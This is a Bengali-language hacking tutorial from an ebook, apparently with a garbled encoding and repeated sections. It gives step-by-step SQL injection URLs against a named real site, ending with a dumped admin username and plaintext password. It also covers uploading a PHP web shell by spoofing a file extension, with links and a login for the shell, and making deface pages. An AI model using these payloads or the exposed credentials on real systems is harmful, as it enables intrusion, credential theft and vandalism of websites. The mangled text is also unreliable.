তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 55: Hacking Bangla eBook

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

